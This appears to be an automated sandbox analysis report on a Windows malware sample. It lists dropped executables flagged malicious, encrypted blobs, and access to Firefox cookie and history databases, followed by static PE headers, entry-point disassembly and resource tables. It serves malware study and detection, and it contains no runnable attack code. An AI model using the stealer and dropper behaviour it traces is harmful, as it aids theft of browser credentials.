Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......i...-..-..-...... .............;..b...<........-.....b...q..b...5....,....,..Rich-..........................PE..L...uVke..............."....................@....@..........................P............@................................. ...P....................... .......Lm......8....................2..........@............... ............................text...!(.......*.................. ..`.rdata..l....@......................@..@.data...............................@....idata...............@..............@..@.tls.................T..............@....00cfg...............X..............@..@.reloc..Q............Z..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AB17.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AEA3.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AF8E.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B00C.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B136.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B250.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B5BC.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	modified
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\decegfu

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	308736
Entropy (8bit):	6.006265153072045
Encrypted:	false
SSDEEP:	3072:Tyh21WkFAR1QcwqPSlzB23qQV2oTieCUqnCvxd588SCjhUX55U:ahR1BSlzBaq3oTR5qCvu8SCa4
MD5:	2C18F752C6D8A298451EF6E56C17C844
SHA1:	C44CA4E14B315DA70AD9F2D21D678CCB38C24758
SHA-256:	9D09E2C2E8D21E46AB105CA0A93F22328C5A3422728789701E0B59BDAE5D9C18
SHA-512:	969E4B46B4378708714CF836012B4C80A7084ABA35F24E0D6B0CB8F044BDC5C780967A8D07C1B99CBEE1A93D00D15879593FFBFE4991A89C4622C6F0B84F229B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L.....?c......................i.....17............@...........................l......3......................................t...x.....j.............................................................('..@............................................text...J........................... ..`.data...\|Ug.........................@....rsrc.........j.....................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\decegfu:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\gtcegfu

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	259072
Entropy (8bit):	6.421674233954642
Encrypted:	false
SSDEEP:	6144:3VATIdzsrVTDjJQB2uHCNRq7QvNASZBet8p6:3xorVTDFYEz+YAQBDI
MD5:	CD4811C966234ED3742118C9B299A8CA
SHA1:	68C412D7C8DB8541B401F11D6D2BBA725158D33C
SHA-256:	58175EF608120C57E25B46EFCE3100A509C9B90E0DCA0D638349B1F037881374
SHA-512:	6CE38B527F00F8589FE2BEB29FFAE896961922CB29DE92C45A3919FEC04374606F6AC5AD40F6679917865BCB8849D4F4371D04B63F37D7E16B17293F6632F40E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L.....}d......................9.....^.............@...........................<............................................. ...<....p;..............................................................C..@............................................text............................... ..`.data.....8.........................@....yozi........`;.....................@....rsrc........p;.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jtcegfu

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	311296
Entropy (8bit):	6.287791894320628
Encrypted:	false
SSDEEP:	6144:2fSw9KStWg/6j7WmRbChklagnN6V3YOp69a:2fag/6j7zJkkcSexII
MD5:	33A60439E95F0DFC10016075F97AEB0C
SHA1:	FB3595F8A5F9C243E5AD108FF11BC5CB2400EC2B
SHA-256:	0F6DB13C0239CA113C19EBEAEC8F3243572FD365C3396EFF1777115BC08849A1
SHA-512:	C08FF3D27EB92B369BBDCFB5EE3405E345BB3DE3004B985BA48B4308D22851403CFC440B8242C1F4CCBBB75986FEEAD1C800BDDD58A225274386B878AAAD9A90
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................................PE..L....u-d.....................n:.....:.............@..........................P=.................................................<.....;.............................................................@G..@............................................text............................... ..`.data....8.........................@....rsrc.........;.....................@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jtuubet

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	160970
Entropy (8bit):	7.998923152874739
Encrypted:	true
SSDEEP:	3072:oNRT/sauP+yaZRwattRcb4+aj/B7LSztFYyqOmIGkB/A6xB+t4gJq:oNh/sauBaZDtteHuJ7LYt7ppit5q
MD5:	EE8835C49141498EAFA2738821AD56DE
SHA1:	2C00568F544B48316392A19609D4F7B8F482E0F3
SHA-256:	E2C2A8D40FD4B3346053C708D71359ADA9E487C9508C902FB5364B98D41BA863
SHA-512:	688FA781938A94CE897B1D6DB938B78BFDB3813B038A1DBAB1DDD893E5D9A49B24D057A3FA7B9D6A815E5A149F38EB2E895AAD594777C410511136B652997CEA
Malicious:	false
Preview:	....(1Oc'.1...Q..... ....O..J..g..t.....\|..Z..X...L.5.S.1.V.{..I....hr..\|...._..:fb..2<.-..8/..$q\|..Q"...e-...S..R....k.d..P...V..i....Q3.E.D.......u....(.X'..9.sg#n~.7....X...,-Np:.U...p.......i...._C.....d6..c...............~....4...D...K...xkMF..O..z.).h.........E....\d...xGD.^d.s..{v[WNN..I.+...x...Ss.+.U.F....-K......2r.t.-H...z4.....`.1!'...a`!..@T..:.B.KL=..e.....O>.._F.P..pq..3.B.8d.S...I?.'.#..Em.w.'B\|p...dU.O....6.4...uw.wr.r..xs.SWD.[.l..A..$.?............ ."..7.b...I...+Ya.4j...)......BK.j;...Z...b-...2....=...5.O..S.I/....n2`...N......=.....l...&.uw.uH6.5.tA...81.i....5e...Z...';m......v..[...0.&..@.R...p.b.!.4 =;w..t.........n...v.W.4g. ...8.^..3..I.l....}.p..._..,.U...d...-7...>;......0........ .u.........$..r."X.......O:..v<`.2.S....~BW..3m..MI.$.fi.a....!..v#...m....]~...,.#{.B<.J bm\|H...#..`.,.`.>k..w.b6..UfC..u....'~?].-.....-M..sW..,S..c>.........@..k. ...9\...l.s'.. ....4x/(.^...zS.o.WW>.....*o....5..C.BK.... .

C:\Users\user\AppData\Roaming\urbcgdu

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248887
Entropy (8bit):	7.999315483488076
Encrypted:	true
SSDEEP:	6144:cmFEuj+ouq6+HCX5tH6rAuo1PkIQEb/DVcO4EQ1hqJzsK6:vFVo2Hmp6Euo1PkPiDVp47hqZsT
MD5:	FB27CAF066CAE6D777A8C4B204FE2530
SHA1:	0E60D690EE172019997D337F6E60633C3418F327
SHA-256:	69579D544A0B14A732494D23D3B3CF8DDDF63D620094426890554E57644B780C
SHA-512:	4C94293C8E97C04E35B416F2E24A1D1C5F30A597454961BC36BA8976FD8D169720E371565D72440782788EFC9598BE53F6175E1DFFD89C454D00E761CFF6B527
Malicious:	false
Preview:	$.[?W.p)..Ce).e.$.,...3V .......].....l.t...8E....G9@M...c.o...o....H.]3.......,.+...m...i....'.v@.St......N@.V...R..{:.5X5.>K:....}-.S...u..r}v.Rc.J...#..(@.Dx..L..F.%Y.....$EK{]n.....K{....y.......Y.:.G..a.z.G...M........}.._$..X.YkS.:..?......).u2k.,=`.P....TM.6...;o...F.X.r#D......$..u..p..g.....b..z.k..U.....E...M<..,.Fi....7....-jd+..(.6..jB..F...5..\|.}K.jX0.6)..L.....HW/PS~.4z\...1......,.V...._x77H}#.X.f....Y.Ez.d2.....fF...4.y...\K...3C..w.J.....`.B.#.]..o.u.W>d..u......?"......Jm.Tc.v.<....7L.t. i.~.;..(.].x...%9.i...~/..}...4K...t.....(:Y{.iV...L.........d...R..<..%2.eyQ{.ip..Y..%..&.....9...d.lF.6..../-..T.....7......=.G..&O..s_X....F....o.x...L..%.......C%n.D.gzp..J}.......r..0-.S.'..h'z.&V..s0)..8...l../.V-rZ.m...<..pf/..7..W.{a.[n.!.fr....[.....o..!:.4.;a.!..'h.X?@..H..R.OK.S....p....e....M.q!\\|B.R.."...*.+..5.]...B8:.2c...#t^...4.`,..{..HyB...O..r...m..........,_].....N..s.!I.i.@.?'Fz.1..H..!..<".U

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.006265153072045
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	BRvptajioG.exe
File size:	308'736 bytes
MD5:	2c18f752c6d8a298451ef6e56c17c844
SHA1:	c44ca4e14b315da70ad9f2d21d678ccb38c24758
SHA256:	9d09e2c2e8d21e46ab105ca0a93f22328c5a3422728789701e0b59bdae5d9c18
SHA512:	969e4b46b4378708714cf836012b4c80a7084aba35f24e0d6b0cb8f044bdc5c780967a8d07c1b99cbee1a93d00d15879593ffbfe4991a89c4622c6f0b84f229b
SSDEEP:	3072:Tyh21WkFAR1QcwqPSlzB23qQV2oTieCUqnCvxd588SCjhUX55U:ahR1BSlzBaq3oTR5qCvu8SCa4
TLSH:	AB64195782F0BD44E9268B729F2FE6EC7B5DF9508F89776922189E1F40B11B2C263710
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L.....?c...........

File Icon


Icon Hash:	7141411145445453

Static PE Info

General

Entrypoint:	0x403731
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x633F11D3 [Thu Oct 6 17:35:15 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	f109daeffa34d8a3742c87df9b7731c0

Entrypoint Preview

Instruction
call 00007F0B70E5D5DEh
jmp 00007F0B70E5AAFDh
int3
int3
int3
int3
int3
mov edx, dword ptr [esp+0Ch]
mov ecx, dword ptr [esp+04h]
test edx, edx
je 00007F0B70E5ACEBh
xor eax, eax
mov al, byte ptr [esp+08h]
test al, al
jne 00007F0B70E5AC98h
cmp edx, 00000100h
jc 00007F0B70E5AC90h
cmp dword ptr [02A9F448h], 00000000h
je 00007F0B70E5AC87h
jmp 00007F0B70E5D695h
push edi
mov edi, ecx
cmp edx, 04h
jc 00007F0B70E5ACB3h
neg ecx
and ecx, 03h
je 00007F0B70E5AC8Eh
sub edx, ecx
mov byte ptr [edi], al
add edi, 01h
sub ecx, 01h
jne 00007F0B70E5AC78h
mov ecx, eax
shl eax, 08h
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 03h
shr ecx, 02h
je 00007F0B70E5AC88h
rep stosd
test edx, edx
je 00007F0B70E5AC8Ch
mov byte ptr [edi], al
add edi, 01h
sub edx, 01h
jne 00007F0B70E5AC78h
mov eax, dword ptr [esp+08h]
pop edi
ret
mov eax, dword ptr [esp+04h]
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov dword ptr [0042B6E4h], eax
mov dword ptr [0042B6E8h], eax
mov dword ptr [0042B6ECh], eax
mov dword ptr [0042B6F0h], eax
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov ecx, dword ptr [0042A4D4h]
push esi
cmp dword ptr [eax+04h], edx
je 00007F0B70E5AC91h
mov esi, ecx
imul esi, esi, 0Ch
add esi, dword ptr [ebp+08h]
add eax, 0Ch
cmp eax, esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29474	0x78	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26a0000	0x208e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1200	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2728	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1c8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28f4a	0x29000	False	0.6880299637957317	data	6.839856550998527	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x2a000	0x267557c	0x1800	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x26a0000	0x208e8	0x20a00	False	0.3582899305555556	data	4.223279544814372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x26bcf18	0x2	data			5.0
AFX_DIALOG_LAYOUT	0x26bcee0	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x26bcef0	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x26bcf00	0x2	data			5.0
AFX_DIALOG_LAYOUT	0x26bcf08	0xc	data			1.6666666666666667
RT_CURSOR	0x26bcf20	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0			0.1948529411764706
RT_CURSOR	0x26bd250	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.33223684210526316
RT_CURSOR	0x26bd3a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x26be250	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x26beaf8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_ICON	0x26a0cb0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	Pakistan	0.4066820276497696
RT_ICON	0x26a0cb0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	India	0.4066820276497696
RT_ICON	0x26a1378	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.1658713692946058
RT_ICON	0x26a1378	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.1658713692946058
RT_ICON	0x26a3920	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.2127659574468085
RT_ICON	0x26a3920	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.2127659574468085
RT_ICON	0x26a3db8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.4341684434968017
RT_ICON	0x26a3db8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.4341684434968017
RT_ICON	0x26a4c60	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.5541516245487365
RT_ICON	0x26a4c60	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.5541516245487365
RT_ICON	0x26a5508	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	Pakistan	0.586405529953917
RT_ICON	0x26a5508	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	India	0.586405529953917
RT_ICON	0x26a5bd0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.6054913294797688
RT_ICON	0x26a5bd0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.6054913294797688
RT_ICON	0x26a6138	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.4473029045643154
RT_ICON	0x26a6138	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.4473029045643154
RT_ICON	0x26a86e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.49437148217636023
RT_ICON	0x26a86e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.49437148217636023
RT_ICON	0x26a9788	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.5221631205673759
RT_ICON	0x26a9788	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.5221631205673759
RT_ICON	0x26a9c58	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Punjabi	Pakistan	0.5157249466950959
RT_ICON	0x26a9c58	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Punjabi	India	0.5157249466950959
RT_ICON	0x26aab00	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Punjabi	Pakistan	0.5040613718411552
RT_ICON	0x26aab00	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Punjabi	India	0.5040613718411552
RT_ICON	0x26ab3a8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Punjabi	Pakistan	0.45161290322580644
RT_ICON	0x26ab3a8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Punjabi	India	0.45161290322580644
RT_ICON	0x26aba70	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Punjabi	Pakistan	0.4819364161849711
RT_ICON	0x26aba70	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Punjabi	India	0.4819364161849711
RT_ICON	0x26abfd8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Punjabi	Pakistan	0.28060165975103735
RT_ICON	0x26abfd8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Punjabi	India	0.28060165975103735
RT_ICON	0x26ae580	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Punjabi	Pakistan	0.3098030018761726
RT_ICON	0x26ae580	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Punjabi	India	0.3098030018761726
RT_ICON	0x26af628	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Punjabi	Pakistan	0.3336065573770492
RT_ICON	0x26af628	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Punjabi	India	0.3336065573770492
RT_ICON	0x26affb0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Punjabi	Pakistan	0.37322695035460995
RT_ICON	0x26affb0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Punjabi	India	0.37322695035460995
RT_ICON	0x26b0490	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.4933368869936034
